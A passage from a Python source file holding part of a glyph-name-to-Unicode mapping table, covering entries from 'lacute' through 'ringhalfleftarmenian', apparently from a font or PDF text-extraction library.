'lacute': u'\u013A', 'ladeva': u'\u0932', 'lagujarati': u'\u0AB2', 'lagurmukhi': u'\u0A32', 'lakkhangyaothai': u'\u0E45', 'lamaleffinalarabic': u'\uFEFC', 'lamalefhamzaabovefinalarabic': u'\uFEF8', 'lamalefhamzaaboveisolatedarabic': u'\uFEF7', 'lamalefhamzabelowfinalarabic': u'\uFEFA', 'lamalefhamzabelowisolatedarabic': u'\uFEF9', 'lamalefisolatedarabic': u'\uFEFB', 'lamalefmaddaabovefinalarabic': u'\uFEF6', 'lamalefmaddaaboveisolatedarabic': u'\uFEF5', 'lamarabic': u'\u0644', 'lambda': u'\u03BB', 'lambdastroke': u'\u019B', 'lamed': u'\u05DC', 'lameddagesh': u'\uFB3C', 'lameddageshhebrew': u'\uFB3C', 'lamedhebrew': u'\u05DC', 'lamedholam': u'\u05DC\u05B9', 'lamedholamdagesh': u'\u05DC\u05B9\u05BC', 'lamedholamdageshhebrew': u'\u05DC\u05B9\u05BC', 'lamedholamhebrew': u'\u05DC\u05B9', 'lamfinalarabic': u'\uFEDE', 'lamhahinitialarabic': u'\uFCCA', 'laminitialarabic': u'\uFEDF', 'lamjeeminitialarabic': u'\uFCC9', 'lamkhahinitialarabic': u'\uFCCB', 'lamlamhehisolatedarabic': u'\uFDF2', 'lammedialarabic': u'\uFEE0', 'lammeemhahinitialarabic': u'\uFD88', 'lammeeminitialarabic': u'\uFCCC', 'lammeemjeeminitialarabic': u'\uFEDF\uFEE4\uFEA0', 'lammeemkhahinitialarabic': u'\uFEDF\uFEE4\uFEA8', 'largecircle': u'\u25EF', 'lbar': u'\u019A', 'lbelt': u'\u026C', 'lbopomofo': u'\u310C', 'lcaron': u'\u013E', 'lcedilla': u'\u013C', 'lcircle': u'\u24DB', 'lcircumflexbelow': u'\u1E3D', 'lcommaaccent': u'\u013C', 'ldot': u'\u0140', 'ldotaccent': u'\u0140', 'ldotbelow': u'\u1E37', 'ldotbelowmacron': u'\u1E39', 'leftangleabovecmb': u'\u031A', 'lefttackbelowcmb': u'\u0318', 'less': u'\u003C', 'lessequal': u'\u2264', 'lessequalorgreater': u'\u22DA', 'lessmonospace': u'\uFF1C', 'lessorequivalent': u'\u2272', 'lessorgreater': u'\u2276', 'lessoverequal': u'\u2266', 'lesssmall': u'\uFE64', 'lezh': u'\u026E', 'lfblock': u'\u258C', 'lhookretroflex': u'\u026D', 'lira': u'\u20A4', 'liwnarmenian': u'\u056C', 'lj': u'\u01C9', 'ljecyrillic': u'\u0459', 'll': u'\uF6C0', 'lladeva': u'\u0933', 'llagujarati': u'\u0AB3', 'llinebelow': u'\u1E3B', 'llladeva': u'\u0934', 'llvocalicbengali': u'\u09E1', 'llvocalicdeva': u'\u0961', 'llvocalicvowelsignbengali': u'\u09E3', 'llvocalicvowelsigndeva': u'\u0963', 'lmiddletilde': u'\u026B', 'lmonospace': u'\uFF4C', 'lmsquare': u'\u33D0', 'lochulathai': u'\u0E2C', 'logicaland': u'\u2227', 'logicalnot': u'\u00AC', 'logicalnotreversed': u'\u2310', 'logicalor': u'\u2228', 'lolingthai': u'\u0E25', 'longs': u'\u017F', 'lowlinecenterline': u'\uFE4E', 'lowlinecmb': u'\u0332', 'lowlinedashed': u'\uFE4D', 'lozenge': u'\u25CA', 'lparen': u'\u24A7', 'lslash': u'\u0142', 'lsquare': u'\u2113', 'lsuperior': u'\uF6EE', 'ltshade': u'\u2591', 'luthai': u'\u0E26', 'lvocalicbengali': u'\u098C', 'lvocalicdeva': u'\u090C', 'lvocalicvowelsignbengali': u'\u09E2', 'lvocalicvowelsigndeva': u'\u0962', 'lxsquare': u'\u33D3', 'm': u'\u006D', 'mabengali': u'\u09AE', 'macron': u'\u00AF', 'macronbelowcmb': u'\u0331', 'macroncmb': u'\u0304', 'macronlowmod': u'\u02CD', 'macronmonospace': u'\uFFE3', 'macute': u'\u1E3F', 'madeva': u'\u092E', 'magujarati': u'\u0AAE', 'magurmukhi': u'\u0A2E', 'mahapakhhebrew': u'\u05A4', 'mahapakhlefthebrew': u'\u05A4', 'mahiragana': u'\u307E', 'maichattawalowleftthai': u'\uF895', 'maichattawalowrightthai': u'\uF894', 'maichattawathai': u'\u0E4B', 'maichattawaupperleftthai': u'\uF893', 'maieklowleftthai': u'\uF88C', 'maieklowrightthai': u'\uF88B', 'maiekthai': u'\u0E48', 'maiekupperleftthai': u'\uF88A', 'maihanakatleftthai': u'\uF884', 'maihanakatthai': u'\u0E31', 'maitaikhuleftthai': u'\uF889', 'maitaikhuthai': u'\u0E47', 'maitholowleftthai': u'\uF88F', 'maitholowrightthai': u'\uF88E', 'maithothai': u'\u0E49', 'maithoupperleftthai': u'\uF88D', 'maitrilowleftthai': u'\uF892', 'maitrilowrightthai': u'\uF891', 'maitrithai': u'\u0E4A', 'maitriupperleftthai': u'\uF890', 'maiyamokthai': u'\u0E46', 'makatakana': u'\u30DE', 'makatakanahalfwidth': u'\uFF8F', 'male': u'\u2642', 'mansyonsquare': u'\u3347', 'maqafhebrew': u'\u05BE', 'mars': u'\u2642', 'masoracirclehebrew': u'\u05AF', 'masquare': u'\u3383', 'mbopomofo': u'\u3107', 'mbsquare': u'\u33D4', 'mcircle': u'\u24DC', 'mcubedsquare': u'\u33A5', 'mdotaccent': u'\u1E41', 'mdotbelow': u'\u1E43', 'meemarabic': u'\u0645', 'meemfinalarabic': u'\uFEE2', 'meeminitialarabic': u'\uFEE3', 'meemmedialarabic': u'\uFEE4', 'meemmeeminitialarabic': u'\uFCD1', 'meemmeemisolatedarabic': u'\uFC48', 'meetorusquare': u'\u334D', 'mehiragana': u'\u3081', 'meizierasquare': u'\u337E', 'mekatakana': u'\u30E1', 'mekatakanahalfwidth': u'\uFF92', 'mem': u'\u05DE', 'memdagesh': u'\uFB3E', 'memdageshhebrew': u'\uFB3E', 'memhebrew': u'\u05DE', 'menarmenian': u'\u0574', 'merkhahebrew': u'\u05A5', 'merkhakefulahebrew': u'\u05A6', 'merkhakefulalefthebrew': u'\u05A6', 'merkhalefthebrew': u'\u05A5', 'mhook': u'\u0271', 'mhzsquare': u'\u3392', 'middledotkatakanahalfwidth': u'\uFF65', 'middot': u'\u00B7', 'mieumacirclekorean': u'\u3272', 'mieumaparenkorean': u'\u3212', 'mieumcirclekorean': u'\u3264', 'mieumkorean': u'\u3141', 'mieumpansioskorean': u'\u3170', 'mieumparenkorean': u'\u3204', 'mieumpieupkorean': u'\u316E', 'mieumsioskorean': u'\u316F', 'mihiragana': u'\u307F', 'mikatakana': u'\u30DF', 'mikatakanahalfwidth': u'\uFF90', 'minus': u'\u2212', 'minusbelowcmb': u'\u0320', 'minuscircle': u'\u2296', 'minusmod': u'\u02D7', 'minusplus': u'\u2213', 'minute': u'\u2032', 'miribaarusquare': u'\u334A', 'mirisquare': u'\u3349', 'mlonglegturned': u'\u0270', 'mlsquare': u'\u3396', 'mmcubedsquare': u'\u33A3', 'mmonospace': u'\uFF4D', 'mmsquaredsquare': u'\u339F', 'mohiragana': u'\u3082', 'mohmsquare': u'\u33C1', 'mokatakana': u'\u30E2', 'mokatakanahalfwidth': u'\uFF93', 'molsquare': u'\u33D6', 'momathai': u'\u0E21', 'moverssquare': u'\u33A7', 'moverssquaredsquare': u'\u33A8', 'mparen': u'\u24A8', 'mpasquare': u'\u33AB', 'mssquare': u'\u33B3', 'msuperior': u'\uF6EF', 'mturned': u'\u026F', 'mu': u'\u00B5', 'mu1': u'\u00B5', 'muasquare': u'\u3382', 'muchgreater': u'\u226B', 'muchless': u'\u226A', 'mufsquare': u'\u338C', 'mugreek': u'\u03BC', 'mugsquare': u'\u338D', 'muhiragana': u'\u3080', 'mukatakana': u'\u30E0', 'mukatakanahalfwidth': u'\uFF91', 'mulsquare': u'\u3395', 'multiply': u'\u00D7', 'mumsquare': u'\u339B', 'munahhebrew': u'\u05A3', 'munahlefthebrew': u'\u05A3', 'musicalnote': u'\u266A', 'musicalnotedbl': u'\u266B', 'musicflatsign': u'\u266D', 'musicsharpsign': u'\u266F', 'mussquare': u'\u33B2', 'muvsquare': u'\u33B6', 'muwsquare': u'\u33BC', 'mvmegasquare': u'\u33B9', 'mvsquare': u'\u33B7', 'mwmegasquare': u'\u33BF', 'mwsquare': u'\u33BD', 'n': u'\u006E', 'nabengali': u'\u09A8', 'nabla': u'\u2207', 'nacute': u'\u0144', 'nadeva': u'\u0928', 'nagujarati': u'\u0AA8', 'nagurmukhi': u'\u0A28', 'nahiragana': u'\u306A', 'nakatakana': u'\u30CA', 'nakatakanahalfwidth': u'\uFF85', 'napostrophe': u'\u0149', 'nasquare': u'\u3381', 'nbopomofo': u'\u310B', 'nbspace': u'\u00A0', 'ncaron': u'\u0148', 'ncedilla': u'\u0146', 'ncircle': u'\u24DD', 'ncircumflexbelow': u'\u1E4B', 'ncommaaccent': u'\u0146', 'ndotaccent': u'\u1E45', 'ndotbelow': u'\u1E47', 'nehiragana': u'\u306D', 'nekatakana': u'\u30CD', 'nekatakanahalfwidth': u'\uFF88', 'newsheqelsign': u'\u20AA', 'nfsquare': u'\u338B', 'ngabengali': u'\u0999', 'ngadeva': u'\u0919', 'ngagujarati': u'\u0A99', 'ngagurmukhi': u'\u0A19', 'ngonguthai': u'\u0E07', 'nhiragana': u'\u3093', 'nhookleft': u'\u0272', 'nhookretroflex': u'\u0273', 'nieunacirclekorean': u'\u326F', 'nieunaparenkorean': u'\u320F', 'nieuncieuckorean': u'\u3135', 'nieuncirclekorean': u'\u3261', 'nieunhieuhkorean': u'\u3136', 'nieunkorean': u'\u3134', 'nieunpansioskorean': u'\u3168', 'nieunparenkorean': u'\u3201', 'nieunsioskorean': u'\u3167', 'nieuntikeutkorean': u'\u3166', 'nihiragana': u'\u306B', 'nikatakana': u'\u30CB', 'nikatakanahalfwidth': u'\uFF86', 'nikhahitleftthai': u'\uF899', 'nikhahitthai': u'\u0E4D', 'nine': u'\u0039', 'ninearabic': u'\u0669', 'ninebengali': u'\u09EF', 'ninecircle': u'\u2468', 'ninecircleinversesansserif': u'\u2792', 'ninedeva': u'\u096F', 'ninegujarati': u'\u0AEF', 'ninegurmukhi': u'\u0A6F', 'ninehackarabic': u'\u0669', 'ninehangzhou': u'\u3029', 'nineideographicparen': u'\u3228', 'nineinferior': u'\u2089', 'ninemonospace': u'\uFF19', 'nineoldstyle': u'\uF739', 'nineparen': u'\u247C', 'nineperiod': u'\u2490', 'ninepersian': u'\u06F9', 'nineroman': u'\u2178', 'ninesuperior': u'\u2079', 'nineteencircle': u'\u2472', 'nineteenparen': u'\u2486', 'nineteenperiod': u'\u249A', 'ninethai': u'\u0E59', 'nj': u'\u01CC', 'njecyrillic': u'\u045A', 'nkatakana': u'\u30F3', 'nkatakanahalfwidth': u'\uFF9D', 'nlegrightlong': u'\u019E', 'nlinebelow': u'\u1E49', 'nmonospace': u'\uFF4E', 'nmsquare': u'\u339A', 'nnabengali': u'\u09A3', 'nnadeva': u'\u0923', 'nnagujarati': u'\u0AA3', 'nnagurmukhi': u'\u0A23', 'nnnadeva': u'\u0929', 'nohiragana': u'\u306E', 'nokatakana': u'\u30CE', 'nokatakanahalfwidth': u'\uFF89', 'nonbreakingspace': u'\u00A0', 'nonenthai': u'\u0E13', 'nonuthai': u'\u0E19', 'noonarabic': u'\u0646', 'noonfinalarabic': u'\uFEE6', 'noonghunnaarabic': u'\u06BA', 'noonghunnafinalarabic': u'\uFB9F', 'noonhehinitialarabic': u'\uFEE7\uFEEC', 'nooninitialarabic': u'\uFEE7', 'noonjeeminitialarabic': u'\uFCD2', 'noonjeemisolatedarabic': u'\uFC4B', 'noonmedialarabic': u'\uFEE8', 'noonmeeminitialarabic': u'\uFCD5', 'noonmeemisolatedarabic': u'\uFC4E', 'noonnoonfinalarabic': u'\uFC8D', 'notcontains': u'\u220C', 'notelement': u'\u2209', 'notelementof': u'\u2209', 'notequal': u'\u2260', 'notgreater': u'\u226F', 'notgreaternorequal': u'\u2271', 'notgreaternorless': u'\u2279', 'notidentical': u'\u2262', 'notless': u'\u226E', 'notlessnorequal': u'\u2270', 'notparallel': u'\u2226', 'notprecedes': u'\u2280', 'notsubset': u'\u2284', 'notsucceeds': u'\u2281', 'notsuperset': u'\u2285', 'nowarmenian': u'\u0576', 'nparen': u'\u24A9', 'nssquare': u'\u33B1', 'nsuperior': u'\u207F', 'ntilde': u'\u00F1', 'nu': u'\u03BD', 'nuhiragana': u'\u306C', 'nukatakana': u'\u30CC', 'nukatakanahalfwidth': u'\uFF87', 'nuktabengali': u'\u09BC', 'nuktadeva': u'\u093C', 'nuktagujarati': u'\u0ABC', 'nuktagurmukhi': u'\u0A3C', 'numbersign': u'\u0023', 'numbersignmonospace': u'\uFF03', 'numbersignsmall': u'\uFE5F', 'numeralsigngreek': u'\u0374', 'numeralsignlowergreek': u'\u0375', 'numero': u'\u2116', 'nun': u'\u05E0', 'nundagesh': u'\uFB40', 'nundageshhebrew': u'\uFB40', 'nunhebrew': u'\u05E0', 'nvsquare': u'\u33B5', 'nwsquare': u'\u33BB', 'nyabengali': u'\u099E', 'nyadeva': u'\u091E', 'nyagujarati': u'\u0A9E', 'nyagurmukhi': u'\u0A1E', 'o': u'\u006F', 'oacute': u'\u00F3', 'oangthai': u'\u0E2D', 'obarred': u'\u0275', 'obarredcyrillic': u'\u04E9', 'obarreddieresiscyrillic': u'\u04EB', 'obengali': u'\u0993', 'obopomofo': u'\u311B', 'obreve': u'\u014F', 'ocandradeva': u'\u0911', 'ocandragujarati': u'\u0A91', 'ocandravowelsigndeva': u'\u0949', 'ocandravowelsigngujarati': u'\u0AC9', 'ocaron': u'\u01D2', 'ocircle': u'\u24DE', 'ocircumflex': u'\u00F4', 'ocircumflexacute': u'\u1ED1', 'ocircumflexdotbelow': u'\u1ED9', 'ocircumflexgrave': u'\u1ED3', 'ocircumflexhookabove': u'\u1ED5', 'ocircumflextilde': u'\u1ED7', 'ocyrillic': u'\u043E', 'odblacute': u'\u0151', 'odblgrave': u'\u020D', 'odeva': u'\u0913', 'odieresis': u'\u00F6', 'odieresiscyrillic': u'\u04E7', 'odotbelow': u'\u1ECD', 'oe': u'\u0153', 'oekorean': u'\u315A', 'ogonek': u'\u02DB', 'ogonekcmb': u'\u0328', 'ograve': u'\u00F2', 'ogujarati': u'\u0A93', 'oharmenian': u'\u0585', 'ohiragana': u'\u304A', 'ohookabove': u'\u1ECF', 'ohorn': u'\u01A1', 'ohornacute': u'\u1EDB', 'ohorndotbelow': u'\u1EE3', 'ohorngrave': u'\u1EDD', 'ohornhookabove': u'\u1EDF', 'ohorntilde': u'\u1EE1', 'ohungarumlaut': u'\u0151', 'oi': u'\u01A3', 'oinvertedbreve': u'\u020F', 'okatakana': u'\u30AA', 'okatakanahalfwidth': u'\uFF75', 'okorean': u'\u3157', 'olehebrew': u'\u05AB', 'omacron': u'\u014D', 'omacronacute': u'\u1E53', 'omacrongrave': u'\u1E51', 'omdeva': u'\u0950', 'omega': u'\u03C9', 'omega1': u'\u03D6', 'omegacyrillic': u'\u0461', 'omegalatinclosed': u'\u0277', 'omegaroundcyrillic': u'\u047B', 'omegatitlocyrillic': u'\u047D', 'omegatonos': u'\u03CE', 'omgujarati': u'\u0AD0', 'omicron': u'\u03BF', 'omicrontonos': u'\u03CC', 'omonospace': u'\uFF4F', 'one': u'\u0031', 'onearabic': u'\u0661', 'onebengali': u'\u09E7', 'onecircle': u'\u2460', 'onecircleinversesansserif': u'\u278A', 'onedeva': u'\u0967', 'onedotenleader': u'\u2024', 'oneeighth': u'\u215B', 'onefitted': u'\uF6DC', 'onegujarati': u'\u0AE7', 'onegurmukhi': u'\u0A67', 'onehackarabic': u'\u0661', 'onehalf': u'\u00BD', 'onehangzhou': u'\u3021', 'oneideographicparen': u'\u3220', 'oneinferior': u'\u2081', 'onemonospace': u'\uFF11', 'onenumeratorbengali': u'\u09F4', 'oneoldstyle': u'\uF731', 'oneparen': u'\u2474', 'oneperiod': u'\u2488', 'onepersian': u'\u06F1', 'onequarter': u'\u00BC', 'oneroman': u'\u2170', 'onesuperior': u'\u00B9', 'onethai': u'\u0E51', 'onethird': u'\u2153', 'oogonek': u'\u01EB', 'oogonekmacron': u'\u01ED', 'oogurmukhi': u'\u0A13', 'oomatragurmukhi': u'\u0A4B', 'oopen': u'\u0254', 'oparen': u'\u24AA', 'openbullet': u'\u25E6', 'option': u'\u2325', 'ordfeminine': u'\u00AA', 'ordmasculine': u'\u00BA', 'orthogonal': u'\u221F', 'oshortdeva': u'\u0912', 'oshortvowelsigndeva': u'\u094A', 'oslash': u'\u00F8', 'oslashacute': u'\u01FF', 'osmallhiragana': u'\u3049', 'osmallkatakana': u'\u30A9', 'osmallkatakanahalfwidth': u'\uFF6B', 'ostrokeacute': u'\u01FF', 'osuperior': u'\uF6F0', 'otcyrillic': u'\u047F', 'otilde': u'\u00F5', 'otildeacute': u'\u1E4D', 'otildedieresis': u'\u1E4F', 'oubopomofo': u'\u3121', 'overline': u'\u203E', 'overlinecenterline': u'\uFE4A', 'overlinecmb': u'\u0305', 'overlinedashed': u'\uFE49', 'overlinedblwavy': u'\uFE4C', 'overlinewavy': u'\uFE4B', 'overscore': u'\u00AF', 'ovowelsignbengali': u'\u09CB', 'ovowelsigndeva': u'\u094B', 'ovowelsigngujarati': u'\u0ACB', 'p': u'\u0070', 'paampssquare': u'\u3380', 'paasentosquare': u'\u332B', 'pabengali': u'\u09AA', 'pacute': u'\u1E55', 'padeva': u'\u092A', 'pagedown': u'\u21DF', 'pageup': u'\u21DE', 'pagujarati': u'\u0AAA', 'pagurmukhi': u'\u0A2A', 'pahiragana': u'\u3071', 'paiyannoithai': u'\u0E2F', 'pakatakana': u'\u30D1', 'palatalizationcyrilliccmb': u'\u0484', 'palochkacyrillic': u'\u04C0', 'pansioskorean': u'\u317F', 'paragraph': u'\u00B6', 'parallel': u'\u2225', 'parenleft': u'\u0028', 'parenleftaltonearabic': u'\uFD3E', 'parenleftbt': u'\uF8ED', 'parenleftex': u'\uF8EC', 'parenleftinferior': u'\u208D', 'parenleftmonospace': u'\uFF08', 'parenleftsmall': u'\uFE59', 'parenleftsuperior': u'\u207D', 'parenlefttp': u'\uF8EB', 'parenleftvertical': u'\uFE35', 'parenright': u'\u0029', 'parenrightaltonearabic': u'\uFD3F', 'parenrightbt': u'\uF8F8', 'parenrightex': u'\uF8F7', 'parenrightinferior': u'\u208E', 'parenrightmonospace': u'\uFF09', 'parenrightsmall': u'\uFE5A', 'parenrightsuperior': u'\u207E', 'parenrighttp': u'\uF8F6', 'parenrightvertical': u'\uFE36', 'partialdiff': u'\u2202', 'paseqhebrew': u'\u05C0', 'pashtahebrew': u'\u0599', 'pasquare': u'\u33A9', 'patah': u'\u05B7', 'patah11': u'\u05B7', 'patah1d': u'\u05B7', 'patah2a': u'\u05B7', 'patahhebrew': u'\u05B7', 'patahnarrowhebrew': u'\u05B7', 'patahquarterhebrew': u'\u05B7', 'patahwidehebrew': u'\u05B7', 'pazerhebrew': u'\u05A1', 'pbopomofo': u'\u3106', 'pcircle': u'\u24DF', 'pdotaccent': u'\u1E57', 'pe': u'\u05E4', 'pecyrillic': u'\u043F', 'pedagesh': u'\uFB44', 'pedageshhebrew': u'\uFB44', 'peezisquare': u'\u333B', 'pefinaldageshhebrew': u'\uFB43', 'peharabic': u'\u067E', 'peharmenian': u'\u057A', 'pehebrew': u'\u05E4', 'pehfinalarabic': u'\uFB57', 'pehinitialarabic': u'\uFB58', 'pehiragana': u'\u307A', 'pehmedialarabic': u'\uFB59', 'pekatakana': u'\u30DA', 'pemiddlehookcyrillic': u'\u04A7', 'perafehebrew': u'\uFB4E', 'percent': u'\u0025', 'percentarabic': u'\u066A', 'percentmonospace': u'\uFF05', 'percentsmall': u'\uFE6A', 'period': u'\u002E', 'periodarmenian': u'\u0589', 'periodcentered': u'\u00B7', 'periodhalfwidth': u'\uFF61', 'periodinferior': u'\uF6E7', 'periodmonospace': u'\uFF0E', 'periodsmall': u'\uFE52', 'periodsuperior': u'\uF6E8', 'perispomenigreekcmb': u'\u0342', 'perpendicular': u'\u22A5', 'perthousand': u'\u2030', 'peseta': u'\u20A7', 'pfsquare': u'\u338A', 'phabengali': u'\u09AB', 'phadeva': u'\u092B', 'phagujarati': u'\u0AAB', 'phagurmukhi': u'\u0A2B', 'phi': u'\u03C6', 'phi1': u'\u03D5', 'phieuphacirclekorean': u'\u327A', 'phieuphaparenkorean': u'\u321A', 'phieuphcirclekorean': u'\u326C', 'phieuphkorean': u'\u314D', 'phieuphparenkorean': u'\u320C', 'philatin': u'\u0278', 'phinthuthai': u'\u0E3A', 'phisymbolgreek': u'\u03D5', 'phook': u'\u01A5', 'phophanthai': u'\u0E1E', 'phophungthai': u'\u0E1C', 'phosamphaothai': u'\u0E20', 'pi': u'\u03C0', 'pieupacirclekorean': u'\u3273', 'pieupaparenkorean': u'\u3213', 'pieupcieuckorean': u'\u3176', 'pieupcirclekorean': u'\u3265', 'pieupkiyeokkorean': u'\u3172', 'pieupkorean': u'\u3142', 'pieupparenkorean': u'\u3205', 'pieupsioskiyeokkorean': u'\u3174', 'pieupsioskorean': u'\u3144', 'pieupsiostikeutkorean': u'\u3175', 'pieupthieuthkorean': u'\u3177', 'pieuptikeutkorean': u'\u3173', 'pihiragana': u'\u3074', 'pikatakana': u'\u30D4', 'pisymbolgreek': u'\u03D6', 'piwrarmenian': u'\u0583', 'plus': u'\u002B', 'plusbelowcmb': u'\u031F', 'pluscircle': u'\u2295', 'plusminus': u'\u00B1', 'plusmod': u'\u02D6', 'plusmonospace': u'\uFF0B', 'plussmall': u'\uFE62', 'plussuperior': u'\u207A', 'pmonospace': u'\uFF50', 'pmsquare': u'\u33D8', 'pohiragana': u'\u307D', 'pointingindexdownwhite': u'\u261F', 'pointingindexleftwhite': u'\u261C', 'pointingindexrightwhite': u'\u261E', 'pointingindexupwhite': u'\u261D', 'pokatakana': u'\u30DD', 'poplathai': u'\u0E1B', 'postalmark': u'\u3012', 'postalmarkface': u'\u3020', 'pparen': u'\u24AB', 'precedes': u'\u227A', 'prescription': u'\u211E', 'primemod': u'\u02B9', 'primereversed': u'\u2035', 'product': u'\u220F', 'projective': u'\u2305', 'prolongedkana': u'\u30FC', 'propellor': u'\u2318', 'propersubset': u'\u2282', 'propersuperset': u'\u2283', 'proportion': u'\u2237', 'proportional': u'\u221D', 'psi': u'\u03C8', 'psicyrillic': u'\u0471', 'psilipneumatacyrilliccmb': u'\u0486', 'pssquare': u'\u33B0', 'puhiragana': u'\u3077', 'pukatakana': u'\u30D7', 'pvsquare': u'\u33B4', 'pwsquare': u'\u33BA', 'q': u'\u0071', 'qadeva': u'\u0958', 'qadmahebrew': u'\u05A8', 'qafarabic': u'\u0642', 'qaffinalarabic': u'\uFED6', 'qafinitialarabic': u'\uFED7', 'qafmedialarabic': u'\uFED8', 'qamats': u'\u05B8', 'qamats10': u'\u05B8', 'qamats1a': u'\u05B8', 'qamats1c': u'\u05B8', 'qamats27': u'\u05B8', 'qamats29': u'\u05B8', 'qamats33': u'\u05B8', 'qamatsde': u'\u05B8', 'qamatshebrew': u'\u05B8', 'qamatsnarrowhebrew': u'\u05B8', 'qamatsqatanhebrew': u'\u05B8', 'qamatsqatannarrowhebrew': u'\u05B8', 'qamatsqatanquarterhebrew': u'\u05B8', 'qamatsqatanwidehebrew': u'\u05B8', 'qamatsquarterhebrew': u'\u05B8', 'qamatswidehebrew': u'\u05B8', 'qarneyparahebrew': u'\u059F', 'qbopomofo': u'\u3111', 'qcircle': u'\u24E0', 'qhook': u'\u02A0', 'qmonospace': u'\uFF51', 'qof': u'\u05E7', 'qofdagesh': u'\uFB47', 'qofdageshhebrew': u'\uFB47', 'qofhatafpatah': u'\u05E7\u05B2', 'qofhatafpatahhebrew': u'\u05E7\u05B2', 'qofhatafsegol': u'\u05E7\u05B1', 'qofhatafsegolhebrew': u'\u05E7\u05B1', 'qofhebrew': u'\u05E7', 'qofhiriq': u'\u05E7\u05B4', 'qofhiriqhebrew': u'\u05E7\u05B4', 'qofholam': u'\u05E7\u05B9', 'qofholamhebrew': u'\u05E7\u05B9', 'qofpatah': u'\u05E7\u05B7', 'qofpatahhebrew': u'\u05E7\u05B7', 'qofqamats': u'\u05E7\u05B8', 'qofqamatshebrew': u'\u05E7\u05B8', 'qofqubuts': u'\u05E7\u05BB', 'qofqubutshebrew': u'\u05E7\u05BB', 'qofsegol': u'\u05E7\u05B6', 'qofsegolhebrew': u'\u05E7\u05B6', 'qofsheva': u'\u05E7\u05B0', 'qofshevahebrew': u'\u05E7\u05B0', 'qoftsere': u'\u05E7\u05B5', 'qoftserehebrew': u'\u05E7\u05B5', 'qparen': u'\u24AC', 'quarternote': u'\u2669', 'qubuts': u'\u05BB', 'qubuts18': u'\u05BB', 'qubuts25': u'\u05BB', 'qubuts31': u'\u05BB', 'qubutshebrew': u'\u05BB', 'qubutsnarrowhebrew': u'\u05BB', 'qubutsquarterhebrew': u'\u05BB', 'qubutswidehebrew': u'\u05BB', 'question': u'\u003F', 'questionarabic': u'\u061F', 'questionarmenian': u'\u055E', 'questiondown': u'\u00BF', 'questiondownsmall': u'\uF7BF', 'questiongreek': u'\u037E', 'questionmonospace': u'\uFF1F', 'questionsmall': u'\uF73F', 'quotedbl': u'\u0022', 'quotedblbase': u'\u201E', 'quotedblleft': u'\u201C', 'quotedblmonospace': u'\uFF02', 'quotedblprime': u'\u301E', 'quotedblprimereversed': u'\u301D', 'quotedblright': u'\u201D', 'quoteleft': u'\u2018', 'quoteleftreversed': u'\u201B', 'quotereversed': u'\u201B', 'quoteright': u'\u2019', 'quoterightn': u'\u0149', 'quotesinglbase': u'\u201A', 'quotesingle': u'\u0027', 'quotesinglemonospace': u'\uFF07', 'r': u'\u0072', 'raarmenian': u'\u057C', 'rabengali': u'\u09B0', 'racute': u'\u0155', 'radeva': u'\u0930', 'radical': u'\u221A', 'radicalex': u'\uF8E5', 'radoverssquare': u'\u33AE', 'radoverssquaredsquare': u'\u33AF', 'radsquare': u'\u33AD', 'rafe': u'\u05BF', 'rafehebrew': u'\u05BF', 'ragujarati': u'\u0AB0', 'ragurmukhi': u'\u0A30', 'rahiragana': u'\u3089', 'rakatakana': u'\u30E9', 'rakatakanahalfwidth': u'\uFF97', 'ralowerdiagonalbengali': u'\u09F1', 'ramiddlediagonalbengali': u'\u09F0', 'ramshorn': u'\u0264', 'ratio': u'\u2236', 'rbopomofo': u'\u3116', 'rcaron': u'\u0159', 'rcedilla': u'\u0157', 'rcircle': u'\u24E1', 'rcommaaccent': u'\u0157', 'rdblgrave': u'\u0211', 'rdotaccent': u'\u1E59', 'rdotbelow': u'\u1E5B', 'rdotbelowmacron': u'\u1E5D', 'referencemark': u'\u203B', 'reflexsubset': u'\u2286', 'reflexsuperset': u'\u2287', 'registered': u'\u00AE', 'registersans': u'\uF8E8', 'registerserif': u'\uF6DA', 'reharabic': u'\u0631', 'reharmenian': u'\u0580', 'rehfinalarabic': u'\uFEAE', 'rehiragana': u'\u308C', 'rehyehaleflamarabic': u'\u0631\uFEF3\uFE8E\u0644', 'rekatakana': u'\u30EC', 'rekatakanahalfwidth': u'\uFF9A', 'resh': u'\u05E8', 'reshdageshhebrew': u'\uFB48', 'reshhatafpatah': u'\u05E8\u05B2', 'reshhatafpatahhebrew': u'\u05E8\u05B2', 'reshhatafsegol': u'\u05E8\u05B1', 'reshhatafsegolhebrew': u'\u05E8\u05B1', 'reshhebrew': u'\u05E8', 'reshhiriq': u'\u05E8\u05B4', 'reshhiriqhebrew': u'\u05E8\u05B4', 'reshholam': u'\u05E8\u05B9', 'reshholamhebrew': u'\u05E8\u05B9', 'reshpatah': u'\u05E8\u05B7', 'reshpatahhebrew': u'\u05E8\u05B7', 'reshqamats': u'\u05E8\u05B8', 'reshqamatshebrew': u'\u05E8\u05B8', 'reshqubuts': u'\u05E8\u05BB', 'reshqubutshebrew': u'\u05E8\u05BB', 'reshsegol': u'\u05E8\u05B6', 'reshsegolhebrew': u'\u05E8\u05B6', 'reshsheva': u'\u05E8\u05B0', 'reshshevahebrew': u'\u05E8\u05B0', 'reshtsere': u'\u05E8\u05B5', 'reshtserehebrew': u'\u05E8\u05B5', 'reversedtilde': u'\u223D', 'reviahebrew': u'\u0597', 'reviamugrashhebrew': u'\u0597', 'revlogicalnot': u'\u2310', 'rfishhook': u'\u027E', 'rfishhookreversed': u'\u027F', 'rhabengali': u'\u09DD', 'rhadeva': u'\u095D', 'rho': u'\u03C1', 'rhook': u'\u027D', 'rhookturned': u'\u027B', 'rhookturnedsuperior': u'\u02B5', 'rhosymbolgreek': u'\u03F1', 'rhotichookmod': u'\u02DE', 'rieulacirclekorean': u'\u3271', 'rieulaparenkorean': u'\u3211', 'rieulcirclekorean': u'\u3263', 'rieulhieuhkorean': u'\u3140', 'rieulkiyeokkorean': u'\u313A', 'rieulkiyeoksioskorean': u'\u3169', 'rieulkorean': u'\u3139', 'rieulmieumkorean': u'\u313B', 'rieulpansioskorean': u'\u316C', 'rieulparenkorean': u'\u3203', 'rieulphieuphkorean': u'\u313F', 'rieulpieupkorean': u'\u313C', 'rieulpieupsioskorean': u'\u316B', 'rieulsioskorean': u'\u313D', 'rieulthieuthkorean': u'\u313E', 'rieultikeutkorean': u'\u316A', 'rieulyeorinhieuhkorean': u'\u316D', 'rightangle': u'\u221F', 'righttackbelowcmb': u'\u0319', 'righttriangle': u'\u22BF', 'rihiragana': u'\u308A', 'rikatakana': u'\u30EA', 'rikatakanahalfwidth': u'\uFF98', 'ring': u'\u02DA', 'ringbelowcmb': u'\u0325', 'ringcmb': u'\u030A', 'ringhalfleft': u'\u02BF', 'ringhalfleftarmenian': u'\u0559', 